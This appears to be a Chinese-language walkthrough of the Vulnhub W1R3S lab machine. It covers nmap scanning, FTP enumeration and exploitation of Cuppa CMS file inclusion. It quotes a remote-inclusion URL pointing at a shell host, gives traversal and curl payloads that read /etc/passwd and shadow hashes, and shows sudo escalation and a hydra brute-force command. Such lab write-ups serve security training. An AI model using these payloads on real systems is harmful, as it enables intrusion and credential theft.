Vulnhub靶机:W1R3S 1.0.1
学渗透的终极是红队
nmap扫描与分析-精
FTP渗透-精
MySQL试探
Web渗透-精
Cuppa CMS渗透-精
Cuppa CMS 25971 利用-精
john破解shadow hash
获得系统立足点和提权
彩蛋:SSH暴力破解
总结和CalltoAction-精
🔑基本概念与权限操作
使用sudo来提升特定命令或操作的权限
这样仅对这些操作进行授权
而不是持续已完全管理员权限运行
🔍 端口扫描技术与参数
nmap -sn 10.10.10.0/24
-sn NO port scan
他的前身是-sP,在nmap的官方文档中明确告知,-sP是已经被放弃的参数
取而代之的就是-sn参数是代表在主机发现之后不进行端口扫描
它的N不是指的网络network,而是NO port scan
这种扫描也被称为ping扫描,但相比于ping扫描,你也可以运行trace root或者NSE的主机脚本
-sL 是列表扫描,它与-sn的区别是多了一步入侵
它允许对目标网络进行轻量级的侦查,而不会引起太多注意

-sn这个参数是怎么进行扫描的
默认这个参数会发送四项数据
第一是ICMP回显请求
第二是对端口443的TCP SYN请求
第三对端口八零的TCP ACK
第四就是默认情况下的ICMP时间戳请求
/
当非特权用户执行这条命令时,就比如说没有sudo权限,
它只会使用connect调用,发送SYN数据包到目标主机的80和443端口
/
现在是使用的sudo特权用户扫描本地网络
它使用的是ARP请求,自然它不是发送的,刚才提到的那四项数据
为什么,因为ARP请求是数据链路层的数据包
就没有TCP和ICMP协议的事
自然不能发送那些数据包
在这种情况下,NMAP扫描和另一个命令很相似
就是arp-scan -l
这里是扫描本地网络,所以结果一样,
如果是扫描互联网主机,那就是上面说所的发送四项数据
当然在扫描本地网络的时候
也可以通过加一个参数叫--send-ip,让nmap发送ICMP时间戳请求,以确定主机的活动性
因为在网络中ARP请求可能不会被所有主机响应,而ICMP时间戳请求更可靠的用于主机发现
/
再多说一点
-sn选项可以与任何发现探测类型结合使用,比如-pn等等,以获得更大的灵活性
如果使用了这些探测类型和端口号,选项中的任何一个,则会覆盖默认探测
如果在运行NMAP的主机和目标网络之间,存在严格的防火墙,推荐使用这些高级技术
否则当防火墙丢弃探测或响应数据包时,可能会错过主机
所以经常听到有人说,按nmap一扫就被防御系统发现
很大程度上是你用的不够精细,
你追求傻瓜化的工具,对nmap研究不深入,将大杀器束之高阁
当然攻防场景对抗复杂,还要具体问题具体分析
反正nmap在过墙方面没那么差
⚙️ 参数设置与协议扫描
nmap -sn 192.168.100.0/24
这里有人会写成192.168.100.1/24,写成100.1是不行的,因为后面跟着/24是代表一个网段,如果单独探测一个ip可以写成精确ip地址,但是现在我们是探测一个网段,是一个范围,所以要写成网络地址192.168.100.0/24
接下里是针对目标靶机的扫描
nmap -sT --min-rate 100000 -p- 192.168.100.111 -oA W1R3/ports
/
这里如果我不指定,他给默认值是-sS
而我更习惯于用-sT
明确指定以TCP协议进行扫描
那-sS和-sT有什么区别呢
/
-sS是默认的扫描技术,
它利用TCP的SYN标志位,来探测目标主机上的开放端口
发送一个SYN包,只建立TCP链接的第一步
如果收到了目标主机的SYN加ACK回复,则表示相应的端口是开放的
如果说到RST就是复位这个数据包,则表示该端口是关闭的
SYN扫描,常常用于快速扫描目标主机的端口状态,因为它能够快速探测开放和关闭的端口
/
而-sT是用三次握手过程来判断端口的状态
它通过发送完整的TCP连接请求,等待目标主机的回应
如果收到了SYN加ACK回复,则表示相应的端口是开放的需要进行完整的TCP链接过程
因此相对较慢,但是它的确更准确,在打靶机的时候,你对准确率要求更高
/
用-sT肯定会更好
用-sT的好处远远不止于此
很多防火墙都能够监测到不完整的TCP链接
就是只发送一个SYN包的这种情况
所以用-sT这个参数
它对于某些目标主机上使用了SYN过滤机制
或防火墙的情况可能会更有效
所以-sT这个参数是更好的
/
然后是-p-这个参数,-p是指定端口范围的参数
而-p后面的-是简化的,指定1~65535全部的端口进行扫描
/
因为默认nmap只扫常用的1000个端口
我指定了就是1~65535全部的端口范围就会覆盖掉原来的指定动态范围
/
尤其打靶机的时候,因为我们不在意流量冲击吗
/
-oA是输出,A是all
它包括了nmap支持的三种输出格式
存储我命名为posts的文件
最终它会用三种不同的输出格式扩展名
建立三个文件执行扫描
/

先看一下nmap的三种扫描结果
gnmap,nmap,xml。

gnamp
这个是nmap自己定义的文本格式

nmap
扫描屏幕输出的是一样的

xml
它能给我们带来的想象力和编程交互性

-sT解决的是准和隐蔽性的问题
现在问题是把扫描出来的端口提取出来,如果2,3个端口还好,要是十几个几百个,那手动是不现实的。
使用命令提取
先grep出来
grep open W1R3/ports.nmap
再以/做分隔符,提取第一列
grep open W1R3/ports.nmap | awk -F '/' '{print $1}'
再使用paste -sd
s是指定合并到一行
d是指定分隔符','
grep open W1R3/ports.nmap | awk -F '/' '{print $1}' | paste -sd ','
再使用一个小技巧
使用ports=$()把里面这个内容赋值给ports
后面就直接调用ports就行了
ports=$(grep open W1R3/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',') echo $ports检查一下,
ok,没问题
完整过程

使用变量

输入到这然后摁Tab键就会变成

神奇吧~~~
📊 扫描与信息收集
TCP扫描
nmap -sT -sV -sC -O -p21,22,80,3306 192.168.100.111 -oA W1R3/detail-sT 指定使用TCP协议扫描
-sV V=version
通过和系统对应端口服务的交互,
从banner信息和其他各种信息中获取他的具体服务和版本
-sC C=script
使用nmap的默认script脚本
-O 探测目标操作系统

另外在扫描TCP端口的同时,也开启对
UDP扫描
map -sU --top-ports 20 192.168.100.111 -oA W1R3/udp-detail-sU 指定使用UDP协议发现
udp的扫描非常的快

漏洞脚本扫描
nmap --script=vuln -p21,80,22,3306 192.168.100.111 -oa W1R3/vuln--script=vuln

💡信息分析与突破
接下来分析扫描结果
ftp有匿名登陆,并且有三个目录,已经列出来了。
22端口ssh开放,版本为OpenSSH 7.2p2,ssh一般不有限考虑

80端口为web服务

并且扫描到了/wordpress/wp-login.php文件,这应该是wordpress的站点了
3306端口为mysql服务,并没有任何提示信息

目前先从ftp下手,它有匿名登陆,先去看看
💾FTP下载与隐藏信息
匿名登陆账号密码都是anonymous

成功登录,并且提示我们使用binary二进制模式传输文件。
查看文件

prompt是关闭提示
get 是下载单个文件
mget 是下载多个文件
mget *.txt 直接下载所有以txt结尾的文件

另外俩目录的文件也下载下来

查看所有.txt文件内容
New FTP Server For W1R3S.inc
新的FTP服务
#
#
#
01ec2d8fc11c493b25029fb1f47f39ce
一段字符串
#
#
#
SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==
根据经验应该是一段base64编码
############################################
___________.__ __ __ ______________________ _________ .__
\__ ___/| |__ ____ / \ / \/_ \______ \_____ \ / _____/ |__| ____ ____
| | | | \_/ __ \ \ \/\/ / | || _/ _(__ < \_____ \ | |/ \_/ ___\
| | | Y \ ___/ \ / | || | \/ \/ \ | | | \ \___
|____| |___| /\___ > \__/\ / |___||____|_ /______ /_______ / /\ |__|___| /\___ >
\/ \/ \/ \/ \/ \/ \/ \/ \/
The W1R3S.inc employee list
Naomi.W - Manager
Hector.A - IT Dept
Joseph.G - Web Design
Albert.O - Web Design
Gina.L - Inventory
Rico.D - Human Resources
ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡
....punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ
这里面有个只知识点
W1R3S.inc
inc是公司
而W1R3S是一种说法叫做leetspeak
这是一种替代比如你想要使用wires但是wires已经被人使用了,你就可以使用这种替代的名字。也叫火星文啥的
第二段是一串字符
可以使用hash-identifier来识别

识别出来最有可能的是MD5
尝试使用https://cmd5.com解密,


还可以再校验一下他破解出来的对不对
echo -n 'This is not a password' | md5sum
第三段是一段base64编码后的内容
解码看看
echo 'SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==' | base64 -d
还是绕弯弯的话
第四段是一段ascii码写的他的公司名
############################################
___________.__ __ __ ______________________ _________ .__
\__ ___/| |__ ____ / \ / \/_ \______ \_____ \ / _____/ |__| ____ ____
| | | | \_/ __ \ \ \/\/ / | || _/ _(__ < \_____ \ | |/ \_/ ___\
| | | Y \ ___/ \ / | || | \/ \/ \ | | | \ \___
|____| |___| /\___ > \__/\ / |___||____|_ /______ /_______ / /\ |__|___| /\___ >
\/ \/ \/ \/ \/ \/ \/ \/ \/ 我们也可以写
http://patorjk.com/software/taag/#p=display&f=Graffiti&t=abc-abc

就是一种风格字符
以上这些都是一些测试,
测试你在渗透测试中对这些未知的字符数据应该这么辨别和处理,
就是遇到一些信息
遇到一些场景
你去怎么思考
然后下面这段内容是有用的
The W1R3S.inc employee list
Naomi.W - Manager-经理-可能权限最高
Hector.A - IT Dept-IT部门-可能有有服务器操作权限
Joseph.G - Web Design-web开发
Albert.O - Web Design-web开发
Gina.L - Inventory-库管
Rico.D - Human Resources-人力资源-可能信息最全The W1R3S.inc employee list
W1R3S.inc的人员列表和职位等
这个非常重要,他可以告诉你
第五段是一段翻转的文字
ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡
....punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ只能在网上找工具把他翻转过来了,
搜索关键字
flip上下翻转 reverse前后逆序 upside-down上下 text

就试一下第一个
https://www.upsidedowntext.com

把下面一段再翻转一次

ftp就算查看完了
再试一下mysql
空密码无法登录

🔐安装配置页的漏洞
再去看一下80端口

apache的默认页面
一般为服务器刚部署好
访问wordpress跳转到localhost但是无法访问
使用gobuster 扫一下吧
gobuster dir -u http://192.168.100.107 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt 靶机一般使用medium字典就可以

扫描的非常快
然后去查看扫描结果
http://192.168.100.107/wordpress/

我们先是wordpress
刚刚去访问他显示调整到localhost,我们尝试修改本地hosts文件,
这里我们多配置了一条将目标靶机指定到localhost.com来做验证。

然后再访问wordpress

还是跳转到localhost
我们尝试访问验证域名localhost.com

解析是没问题的,那就是目标靶机wordpress没配置好导致无法访问。
403绕不过去
http://192.168.100.107/javascript/

那我们走下一条路
http://192.168.100.107/administrator/
Cuppa CMS

这是一个cms的安装页面
这里我们如果自己填写完账号密码后安装,
那我们就可以在安装后登录他的后台,并且通过他的后台来getshell
我们点next
填写信息进行安装

这里提示
配置文件YES
创建表格YES
管理员的用户创建是失败的NO

安装后进入后台这条路是失败了,
但是我们还是可以去查找Cuppa CMS的公开漏洞
使用searchsploit工具去搜索

还真有一条
把他下载下来
searchsploit cuppa -m 25971
查看文件详情
└─# cat 25971.txt
# Exploit Title : Cuppa CMS File Inclusion
# Date : 4 June 2013
# Exploit Author : CWH Underground
# Site : www.2600.in.th
# Vendor Homepage : http://www.cuppacms.com/
# Software Link : http://jaist.dl.sourceforge.net/project/cuppacms/cuppa_cms.zip
# Version : Beta
# Tested on : Window and Linux
漏洞存在点
####################################
VULNERABILITY: PHP CODE INJECTION
####################################
/alerts/alertConfigField.php (LINE: 22)
-----------------------------------------------------------------------------
LINE 22:
<?php include($_REQUEST["urlConfig"]); ?>
#####################################################
DESCRIPTION
#####################################################
An attacker might include local or remote PHP files or read non-PHP files with this vulnerability. User tainted data is used when creating the file name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vulnerability can lead to full server compromise.
http://target/cuppa/alerts/alertConfigField.php?urlConfig=[FI]
#####################################################
EXPLOIT
#####################################################
http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
Moreover, We could access Configuration.php source code via PHPStream
For Example:
-----------------------------------------------------------------------------
http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
-----------------------------------------------------------------------------
我们先进行第一步
尝试本地文件包含
我们构造一下
http://192.168.100.107/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
但是这个访问后

那他可能不是安装在cuppa目录下,我们需要猜一下
最初我们访问的时候是访问administrator目录那同样可以试一下
http://192.168.100.107/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

ok是有反应的
但是使用方法可能有点变化,
作者在详情中写道了具体的漏洞点,我们可以去看一下源码
在google上搜一下cuppa,然后看到github上有他的官方库
我们到改目录下查看这个/alerts/alertConfigField.php 文件

版本可能有点不一样,不是在22行,但是在77行有类似的代码
并且写出来使用POST发生数据
<?php include "../components/table_manager/fields/config/".@$cuppa->POST("urlConfig"); ?>
🌐URL传递数据与提权
使用POST的话可以使用burpsuite也可以使用命令行工具
curl
--data-urlencode <data> HTTP POST data URL encoded
使用URL编码,并且使用POST方式发送数据

curl --data-urlencode 'urlConfig=../../../../../../../../../etc/passwd' http://192.168.100.107/administrator/alerts/alertConfigField.php
也可以使用火狐浏览器插件HackBar V2

ok 没问题,现在也算有点突破,
passwd文件中用户名后面跟着*号,这些密码都存在shadow文件中
查看shadow,并且破解这3个用户
root:$6$FDFqaZ3r$MjUSMuJnmvgzWE.U/k7dVm82ys.UMPZPv.GS4ZG9BqcHxLtNi88JhLP009S8uULEQW9edrbbByP8k8pGLrZm11:19968:0:99999:7:::
www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
w1r3s:$6$ZbpDgGAh$9wcmR5CxBgB8ntEZcWqXTAFzyU8uCbZDdyLDKlNhcpYNYEOTQAXJhL777A0PKYucrYUySjjoZCFdkYiOT9BBr.:19968:0:99999:7:::

这里是我前面进去改过密码了。。。。所以是弱口令,之前不是123456
首先www-data是一个功能性账号,没有登录权限

而w1r3s是一个正常可以登录的账号

ok 登录成功,终于拿到了立足点。
而且还有27(sudo)权限,查看一下

是ALL :ALL
那我们可以直接使用sudo 提权
直接sudo -i 或者 sudo /bin/bash

查看flag

🔓破解SSH与CPCMS漏洞
最后再补充一下SSH爆破
SSH暴力破解一般不推荐,只是说一下命令格式
先在前期的信息收集中拿到一些账号信息等,然后对这些账号进行暴力破解。
先创建用户列表

然后
hydra -L user.list -P /usr/share/wordlists/rockyou.txt ssh://192.168.100.107 -t 20-L 指定用户列表
-P 指定字典
-t 指定线程数

-.-
评论区